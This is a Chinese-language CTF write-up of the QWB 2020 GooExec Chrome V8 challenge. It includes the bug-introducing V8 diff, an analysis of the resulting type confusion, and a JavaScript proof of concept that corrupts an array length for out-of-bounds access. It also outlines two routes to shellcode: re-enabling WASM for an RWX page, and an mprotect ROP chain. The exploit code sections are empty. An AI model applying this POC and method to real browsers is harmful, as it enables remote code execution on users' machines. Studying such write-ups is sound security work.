强网杯2020-GooExec chrome pwn分析及两种利用思路
字数 2095 2025-08-20 18:18:05
强网杯2020-GooExec Chrome Pwn漏洞分析与利用教学
1. 环境搭建
1.1 题目环境
- 操作系统: Ubuntu 20.04
- Chrome启动命令:
./chrome --js-flags=--noexpose_wasm --no-sandbox--js-flags=--noexpose_wasm: 关闭WASM功能,阻止使用WASM填写shellcode--no-sandbox: 关闭沙箱
1.2 题目下载
2. V8基础知识
2.1 V8数组元素类型
V8中数组元素有以下几种类型:
- PACKED_SMI_ELEMENTS: 小整数(Smi)
- PACKED_DOUBLE_ELEMENTS: 双精度浮点数
- PACKED_ELEMENTS: 常规元素(不能表示为Smi或双精度的值)
2.2 类型转换规则
- 转换只能从特定类型向更一般的类型进行
- 一旦数组被标记为更一般的类型,就不能回到更特定的类型
示例代码:
const array = [1, 2, 3]; // PACKED_SMI_ELEMENTS
array.push(4.56); // PACKED_DOUBLE_ELEMENTS
array.push('x'); // PACKED_ELEMENTS
2.3 PACKED到HOLEY类型转换
密集数组可以转换为稀疏数组:
const array = [1, 2, 3, 4.56, 'x']; // PACKED_ELEMENTS
array.length; // 5
array[9] = 1; // array[5]到array[8]现在是holes
// 类型变为HOLEY_ELEMENTS
3. 漏洞分析
3.1 漏洞补丁
漏洞与Chromium Issue 799263相同,引入漏洞的补丁删除了state = state->KillMaps(alias_info, zone())这行代码。
补丁差异:
diff --git a/src/compiler/load-elimination.cc b/src/compiler/load-elimination.cc
index ff79da8c86..8effdd6e15 100644
--- a/src/compiler/load-elimination.cc
+++ b/src/compiler/load-elimination.cc
@@ -866,8 +866,8 @@ Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
- AliasStateInfo alias_info(state, object, source_map);
- state = state->KillMaps(alias_info, zone());
+ // AliasStateInfo alias_info(state, object, source_map);
+ // state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
@@ -892,7 +892,7 @@ Reduction LoadElimination::ReduceTransitionAndStoreElement(Node* node) {
if (state->LookupMaps(object, &object_maps)) {
object_maps.insert(double_map, zone());
object_maps.insert(fast_map, zone());
- state = state->KillMaps(object, zone());
+ // state = state->KillMaps(object, zone());
state = state->SetMaps(object, object_maps, zone());
}
// Kill the elements as well.
3.2 漏洞原理
KillMaps函数负责消除alias对象的map信息- 去除
KillMaps会导致本应没有map信息的一些node仍保留着信息 - 在
ReduceCheckMaps函数中,残留的map信息可能导致maps.contains错误地返回true - 这会导致错误地删除
CheckMaps节点,造成类型混淆
3.3 POC分析
function foo(a, b) {
let tmp = {};
b[0] = 0;
a.length;
for (let i = 0; i < a.length; i++) {
a[i] = tmp;
}
let o = [1.1];
b[15] = 4.063e-320;
return o;
}
let arr_addr_of = new Array(1);
arr_addr_of[0] = 'a';
for (let i = 0; i < 10000; i++) {
eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
foo(arr_addr_of, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
foo(tmp_arr, [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}
var float_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_array = foo(float_arr, float_arr, {});
console.log(oob_array.length);
a[0]=0会传入arr_addr_of(HOLEY_ELEMENTS)和tmp_arr(PACKED_DOUBLE_ELEMENTS)- 优化编译时,浮点数组会被转化为对象数组(HOLEY_ELEMENTS)
- 漏洞触发后,数组b被转化为对象数组,但访问仍按浮点数组类型进行
- 由于指针压缩,浮点数组转对象数组后长度缩短一半,可以精准覆盖后面数组o的长度
4. 漏洞利用
4.1 利用思路一: 重新开启WASM
步骤:
-
泄露V8 ELF基址:
- 通过
obj.constructor->code->text_addr(Builtins_ArrayConstructor函数地址)泄露
- 通过
-
查找并修改FLAG_expose_wasm:
- 使用IDA查找"FLAG_expose_wasm"特征字符
- 找到.data区中该变量的地址并修改为true
-
利用WASM执行shellcode:
- 根据mark查找wasm_function对象地址
- 通过
wasm_function->shared_info->WasmExportedFunctionData(data)->instance+0x68找到rwx区域 - 将shellcode写入该区域
注意事项:
- Chrome运行时会有多个进程,需要确定哪个进程运行V8
- 通常在第3个进程(libv8.so)中
- 修改FLAG_expose_wasm只影响当前进程
- 需要两个HTML文件: 一个开启WASM,一个利用WASM
4.2 利用思路二: ROP链利用
步骤:
-
获取libc基址:
- 通过泄露printf .got表上的printf函数地址
- 减去libc中printf的偏移得到libc基址
-
获取栈地址:
- 查找libc中的
environ变量偏移 environ变量保存着栈地址
- 查找libc中的
-
布置ROP链:
add rsp 0x78; pop rbx; pop rbp; ret ... pop rdi; ret shellcode_addr pop rsi; ret 0x1000 pop rdx; ret 0x7 mprotect_addr shellcode_addr -
执行shellcode:
- 使用mprotect修改堆区域属性为rwx
- 跳转到该区域执行shellcode
注意事项:
- Chrome会启动多个进程执行JS
- 需要在带有
--no-v8-untrusted-code-mitigations标志的进程中查找ROP链 - 可以先开启WASM创建对象,确定JS运行的进程
5. 参考链接
- https://mem2019.github.io/jekyll/update/2020/09/19/QWB-GooExec.html
- https://github.com/ray-cp/browser_pwn/tree/master/v8_pwn/qwb2020-final-GOOexec_chromium
- https://bugs.chromium.org/p/chromium/issues/detail?id=799263
6. 利用代码
-
漏洞利用一:
-
漏洞利用二: